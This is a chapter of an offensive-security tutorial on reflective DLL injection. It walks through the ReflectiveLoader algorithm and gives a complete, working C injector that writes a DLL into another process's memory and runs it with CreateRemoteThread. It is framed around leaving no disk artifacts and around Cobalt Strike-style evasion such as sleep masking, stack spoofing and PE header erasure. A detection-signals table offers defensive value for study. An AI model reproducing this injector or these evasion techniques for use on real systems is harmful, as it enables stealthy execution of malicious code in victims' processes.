Chapter 29

Reflective DLL Injection

Classic DLL injection (Chapter 24) requires the DLL to exist on the target's filesystem — LoadLibraryA needs a file path. Reflective DLL injection eliminates the disk artifact entirely. The DLL contains its own custom loader function called ReflectiveLoader — a small bootstrap embedded in the DLL that knows how to map itself into memory from a raw byte buffer, resolve its own imports, apply relocations, and call its own DllMain — all without touching the disk. You write the DLL bytes directly into the target's memory (a single buffer, no file), jump to ReflectiveLoader, and the DLL bootstraps itself. This is the core injection mechanism used by Cobalt Strike, Meterpreter, and most modern C2 frameworks. This chapter explains the reflective loader algorithm in detail and walks through the implementation.

The Problem Reflective Injection Solves

Classic DLL injection vs reflective DLL injection
  CLASSIC DLL INJECTION (requires disk file):
  ─────────────────────────────────────────────────────────────────────────
  Attacker writes evil.dll to:  C:\Windows\Temp\evil.dll
  Injects LoadLibraryA("C:\Windows\Temp\evil.dll") call
  Windows loader reads evil.dll from disk, maps it to memory
  DllMain runs
  
  Artifacts:
    ✗ DLL file on disk (recoverable even after deletion with forensic tools)
    ✗ File creation event (Sysmon EventID 11)
    ✗ File open by Windows loader (auditable)
    ✗ DLL listed in process module list (fully visible in Process Hacker)

  REFLECTIVE DLL INJECTION (no disk):
  ─────────────────────────────────────────────────────────────────────────
  Attacker reads evil.dll into memory (could come from C2 over network)
  Writes the raw DLL bytes into target process memory (VirtualAllocEx + WPM)
  Jumps to evil.dll's ReflectiveLoader function (offset found by scanning exports)
  ReflectiveLoader maps the DLL, resolves imports, calls DllMain
  
  Artifacts:
    ✓ No file on disk (entirely in-memory)
    ✓ No LoadLibraryA call (no kernel32 hook triggered)
    ✗ VirtualAllocEx + WriteProcessMemory still logged
    ✗ Anonymous memory region with PE header (detectable by malfind)
    ✗ DLL NOT in the module list (unusual — can be detected as absence)
  
  The key: the DLL lives only in allocated heap memory, never in a file.
  Network transfer: C2 sends DLL bytes → attacker writes to target → executes.
  The DLL is never at rest on any storage media.

The ReflectiveLoader Algorithm

ReflectiveLoader is a position-independent function (written like shellcode — no global data, resolves everything dynamically) that's embedded as an exported function in the DLL. When called, it must do everything the Windows PE loader normally does, but from a raw byte buffer in arbitrary memory. The key challenge: the function doesn't know where it is in memory. It uses a technique to find its own base address, then parses the PE headers relative to that base.

ReflectiveLoader step-by-step algorithm:

Step 1: Find our own base address
  ─────────────────────────────────────────────────────────────────────────
  The function is compiled as position-independent code.
  It uses a "get RIP" trick to find out where it's currently executing:
    call +5          ; pushes RIP onto stack
    pop  rax         ; rax now contains the address of this instruction
  From RIP, it walks backwards (subtracting bytes) looking for the
  MZ signature (0x4D 0x5A) at the start of the PE. When found, that's
  our base address. (This works because the DLL was written as a
  contiguous blob — the PE header is at the beginning.)

Step 2: Parse the PE headers to find:
  ─────────────────────────────────────────────────────────────────────────
  - SizeOfImage: how much memory the full mapped image needs
  - SectionAlignment: alignment requirements for sections
  - DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]: imports table
  - DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]: relocation table

Step 3: Allocate a new memory region (final home for the mapped image)
  ─────────────────────────────────────────────────────────────────────────
  VirtualAlloc(NULL, SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  This is the "image" copy — laid out with proper section alignment.
  Different from the raw "file" copy that was written by the injector.
  The raw copy is the file layout; this new region is the memory layout.

Step 4: Copy the PE headers and sections from raw copy to image copy
  ─────────────────────────────────────────────────────────────────────────
  Copy SizeOfHeaders bytes (DOS header, NT headers, section headers)
  For each section:
    memcpy(image_base + section.VirtualAddress,
           raw_base + section.PointerToRawData,
           section.SizeOfRawData)
  This is the same "map sections" step as process hollowing (Ch27).

Step 5: Apply base relocations (because base ≠ preferred)
  ─────────────────────────────────────────────────────────────────────────
  The DLL was compiled with a preferred ImageBase.
  The actual VirtualAlloc gave a different address.
  Walk the .reloc section, apply delta to all DIR64 entries.
  (Same algorithm as Ch27 relocation patching)

Step 6: Resolve imports
  ─────────────────────────────────────────────────────────────────────────
  Walk the Import Directory Table (IDT):
    For each imported DLL:
      LoadLibrary(dll_name)  ← loads dependency
      For each imported function:
        GetProcAddress(handle, function_name)
        Write the resolved address into the Import Address Table (IAT)
  
  PROBLEM: ReflectiveLoader can't use LoadLibrary/GetProcAddress normally —
           those are Win32 API calls that require knowing the addresses first!
  
  BOOTSTRAP: ReflectiveLoader resolves LoadLibrary and GetProcAddress using
             PEB walking (exactly like Ch06 PEB Walk and Ch07 API Hashing):
               1. Walk PEB.Ldr.InMemoryOrderModuleList
               2. Find kernel32.dll by name hash
               3. Walk kernel32's Export Address Table
               4. Find LoadLibraryA and GetProcAddress by name hash
               5. Now use those to resolve everything else
  
  This is why Chapters 6 and 7 (PEB walking and API hashing) are
  prerequisites — ReflectiveLoader is built on those techniques.

Step 7: Call DllMain
  ─────────────────────────────────────────────────────────────────────────
  DllMain address = image_base + PE.OptionalHeader.AddressOfEntryPoint
  DllMain(image_base, DLL_PROCESS_ATTACH, NULL)
  → The DLL is now running in the target process.

Step 8: Return (to the injector's thread)
  ─────────────────────────────────────────────────────────────────────────
  The CreateRemoteThread that called ReflectiveLoader returns.
  The DLL has fully bootstrapped itself and its own threads continue running.

Injector Side — Writing and Triggering ReflectiveLoader

/* reflective_inject.c — Injector for a reflectively-loadable DLL
   
   The payload DLL must:
     1. Export a function named "ReflectiveLoader" (with __declspec(dllexport))
     2. Implement the self-loading algorithm described above
     3. Be compiled as PIC (position-independent, /GS- /FIXED:NO)
   
   The open-source ReflectiveDLLInjection project by Stephen Fewer
   provides a reference ReflectiveLoader implementation:
   github.com/stephenfewer/ReflectiveDLLInjection
   
   Cobalt Strike's beacon DLL uses a production-hardened version.
*/

#include <windows.h>
#include <stdio.h>

/* ── Find the offset of ReflectiveLoader within the DLL ─────────────── */
/*
 * We don't call ReflectiveLoader by name at runtime (that would require
 * having the DLL loaded, which defeats the purpose). Instead:
 * 1. Map the raw DLL bytes locally (not loaded, just as a data buffer)
 * 2. Walk the Export Address Table in the raw buffer
 * 3. Find the export named "ReflectiveLoader"
 * 4. Compute its offset from the DLL's preferred base
 * 5. Add that offset to remote_buf (where we wrote the DLL in the target)
 * 6. That's the address to start the remote thread at.
 */
static DWORD find_reflective_loader_offset(PBYTE dll_buf) {
    PIMAGE_DOS_HEADER dos  = (PIMAGE_DOS_HEADER)dll_buf;
    PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS64)(dll_buf + dos->e_lfanew);

    DWORD eat_rva = nt->OptionalHeader.DataDirectory[
                        IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (!eat_rva) return 0;

    PIMAGE_EXPORT_DIRECTORY eat =
        (PIMAGE_EXPORT_DIRECTORY)(dll_buf + eat_rva);

    PDWORD  name_table = (PDWORD) (dll_buf + eat->AddressOfNames);
    PWORD   ord_table  = (PWORD)  (dll_buf + eat->AddressOfNameOrdinals);
    PDWORD  func_table = (PDWORD) (dll_buf + eat->AddressOfFunctions);

    for (DWORD i = 0; i < eat->NumberOfNames; i++) {
        const char *name = (const char *)(dll_buf + name_table[i]);
        if (strcmp(name, "ReflectiveLoader") == 0) {
            WORD ordinal = ord_table[i];
            DWORD func_rva = func_table[ordinal];
            /* func_rva is relative to the DLL's preferred ImageBase.
               We want the offset from the start of the DLL buffer. */
            printf("[+] ReflectiveLoader at RVA 0x%08lX\n", func_rva);
            return func_rva;  /* RVA = offset from image base = offset from buffer start */
        }
    }
    return 0;
}

static BOOL reflective_inject(DWORD pid, const char *dll_path) {
    /* Load the DLL into a local buffer */
    HANDLE hFile = CreateFileA(dll_path, GENERIC_READ, FILE_SHARE_READ,
                               NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Cannot open %s: %lu\n", dll_path, GetLastError());
        return FALSE;
    }
    DWORD dll_size = GetFileSize(hFile, NULL);
    PBYTE dll_buf = (PBYTE)HeapAlloc(GetProcessHeap(), 0, dll_size);
    DWORD read = 0;
    ReadFile(hFile, dll_buf, dll_size, &read, NULL);
    CloseHandle(hFile);
    printf("[+] Loaded %s (%lu bytes) into local buffer\n", dll_path, dll_size);

    /* Find ReflectiveLoader offset */
    DWORD loader_offset = find_reflective_loader_offset(dll_buf);
    if (!loader_offset) {
        printf("[-] ReflectiveLoader export not found in DLL\n");
        HeapFree(GetProcessHeap(), 0, dll_buf);
        return FALSE;
    }

    /* Open target process */
    HANDLE hProc = OpenProcess(
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
        FALSE, pid);
    if (!hProc) {
        printf("[-] OpenProcess(%lu): %lu\n", pid, GetLastError());
        HeapFree(GetProcessHeap(), 0, dll_buf);
        return FALSE;
    }

    /* Allocate memory in target for the raw DLL buffer */
    LPVOID remote_buf = VirtualAllocEx(hProc, NULL, dll_size,
                                        MEM_COMMIT|MEM_RESERVE,
                                        PAGE_EXECUTE_READWRITE);
    if (!remote_buf) {
        printf("[-] VirtualAllocEx: %lu\n", GetLastError());
        CloseHandle(hProc);
        HeapFree(GetProcessHeap(), 0, dll_buf);
        return FALSE;
    }
    printf("[+] Allocated %lu bytes for DLL in target at %p\n", dll_size, remote_buf);

    /* Write the entire raw DLL buffer into the target */
    WriteProcessMemory(hProc, remote_buf, dll_buf, dll_size, NULL);
    printf("[+] DLL bytes written to target\n");

    /* Calculate the address of ReflectiveLoader in the target
       remote_buf is the start of our DLL buffer in the target.
       loader_offset is the RVA of ReflectiveLoader from the DLL's base.
       So: ReflectiveLoader address = remote_buf + loader_offset
    */
    LPVOID loader_addr = (PBYTE)remote_buf + loader_offset;
    printf("[+] ReflectiveLoader in target at %p\n", loader_addr);

    /* Create a thread in target that calls ReflectiveLoader */
    HANDLE hThread = CreateRemoteThread(
        hProc, NULL, 0,
        (LPTHREAD_START_ROUTINE)loader_addr,
        NULL,    /* ReflectiveLoader takes no argument (finds its own base) */
        0, NULL
    );
    if (!hThread) {
        printf("[-] CreateRemoteThread: %lu\n", GetLastError());
        VirtualFreeEx(hProc, remote_buf, 0, MEM_RELEASE);
        CloseHandle(hProc);
        HeapFree(GetProcessHeap(), 0, dll_buf);
        return FALSE;
    }
    printf("[+] ReflectiveLoader thread started\n");

    /* Wait for ReflectiveLoader to finish bootstrapping */
    WaitForSingleObject(hThread, 10000);
    printf("[+] Injection complete — DLL running in target\n");

    CloseHandle(hThread);
    CloseHandle(hProc);
    HeapFree(GetProcessHeap(), 0, dll_buf);
    /* Note: remote_buf stays allocated — ReflectiveLoader allocated
       a NEW region for the mapped image, but the raw buffer we wrote
       is still there. A thorough cleanup would FreeLibrary the mapped
       image and free remote_buf, but that would unload the payload. */
    return TRUE;
}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        printf("Usage: %s [PID] [reflective_dll.dll]\n", argv[0]);
        return 1;
    }
    return reflective_inject((DWORD)atol(argv[1]), argv[2]) ? 0 : 1;
}

Detection Characteristics

Reflective DLL injection detection signals
  Signal                                      │ Fidelity │ Notes
  ────────────────────────────────────────────┼──────────┼──────────────────────────────────
  VirtualAllocEx (large, RWX)                 │ HIGH     │ Writing entire DLL to remote proc
  WriteProcessMemory (large write)            │ HIGH     │ Full DLL written at once
  CreateRemoteThread at heap address          │ HIGH     │ ReflectiveLoader at anon address
  PE header (MZ) in non-module memory         │ HIGH     │ Raw DLL buffer still there after load
  DLL not in module list (LDR_DATA_TABLE)     │ HIGH     │ ReflectiveLoader bypasses LoadLibrary,
                                              │          │ so the DLL is NOT registered in the
                                              │          │ LDR module list for the process
  Second VirtualAlloc from inside target proc │ MEDIUM   │ ReflectiveLoader calls VirtualAlloc
  (ReflectiveLoader's own allocation)         │          │ from within the target process for the
                                              │          │ mapped image — visible as new RWX region
  IAT resolution via PEB walk in target       │ MEDIUM   │ Unusual GetProcAddress-equivalent
  (API hashing pattern in memory)             │          │ code running in target
  
  The "missing from module list" indicator:
  ─────────────────────────────────────────────────────────────────────────
  Process Hacker → [process] → Properties → Modules tab:
    Normal: lists all loaded DLLs (kernel32.dll, ntdll.dll, etc.)
    After reflective injection: the payload DLL is NOT in this list
  
  This is unusual — any code running in a process should have its DLL
  visible in the module list. Absence of a known DLL while its code is
  executing is a strong indicator of reflective injection.
  
  Defenders can detect: "executable memory region not backed by any
  module in the process module list" = likely reflective DLL or shellcode.
  
  Cobalt Strike mitigation: some versions use a BoF (Beacon Object File)
  approach that avoids VirtualAllocEx entirely — smaller, no full PE in memory.

Questions & Answers

Why does the reflective loader need to resolve LoadLibrary/GetProcAddress before it can resolve the DLL's imports?

The reflective loader is self-contained — it can't call any Win32 functions at the start because it doesn't know the addresses of those functions yet. Win32 function addresses aren't hardcoded (ASLR randomizes base addresses). The bootstrap sequence is a chicken-and-egg problem: you need GetProcAddress to find function addresses, but you need LoadLibrary to get GetProcAddress, and you need GetProcAddress to find LoadLibrary... The solution is PEB walking with API hashing (exactly Chapter 6-7 techniques). The PEB (Process Environment Block) contains the loader data structures (PEB.Ldr.InMemoryOrderModuleList) which list all currently loaded modules including kernel32.dll. The reflective loader walks this list, finds kernel32 by hashing its name, walks kernel32's export table, and finds LoadLibraryA and GetProcAddress by hashing their names — no external function calls needed. Once those two functions are resolved, the reflective loader can resolve everything else normally.

How does Cobalt Strike's reflective beacon differ from open-source implementations?

The original open-source ReflectiveDLLInjection by Stephen Fewer (2011) is the reference implementation and the foundation for most frameworks. Cobalt Strike's production beacon refines this with several improvements: (1) Sleep masking — during sleep periods, the beacon encrypts its own memory (shellcode and configuration) in place, decrypts when it wakes. Memory scanners scanning during sleep find encrypted bytes, not recognizable shellcode. (2) Stack spoofing — the beacon manipulates the call stack to hide the fact that it's running from an injected DLL. Call stacks that show ReflectiveLoader → DllMain chains are a detection signal; stack spoofing makes the call stack look like it originates from a legitimate system function. (3) PE header erasure — after bootstrapping, the beacon zeroes out its own PE header in memory (the MZ/PE magic bytes), making the memory region look less like an injected PE to memory scanners. (4) BOF (Beacon Object File) support — small tasks run as inline shellcode in the beacon's memory rather than loading new DLLs, reducing the injection footprint.

What is "position-independent code" and why must ReflectiveLoader be written as PIC?

Position-independent code (PIC) is code that works correctly regardless of where in memory it's loaded — it doesn't use any hardcoded absolute addresses. Normal compiled code is NOT position-independent by default: it references global variables by absolute address, calls functions by absolute address, and uses jump tables with absolute entries. When you write shellcode or a reflective loader, you don't know in advance what address it'll be at in the target. The code must calculate all addresses at runtime relative to its current location. This is achieved with: (1) No global variables — use only local variables (on the stack) or pass pointers. (2) No static string literals in the .data section — encode strings inline in the function or calculate them on the stack. (3) RIP-relative addressing for all code references (x64 naturally uses RIP-relative addressing for most instructions). (4) Self-location using the "call/pop rax" trick to find the current instruction pointer. ReflectiveLoader is written with all these constraints — it's essentially shellcode that happens to be an exported DLL function.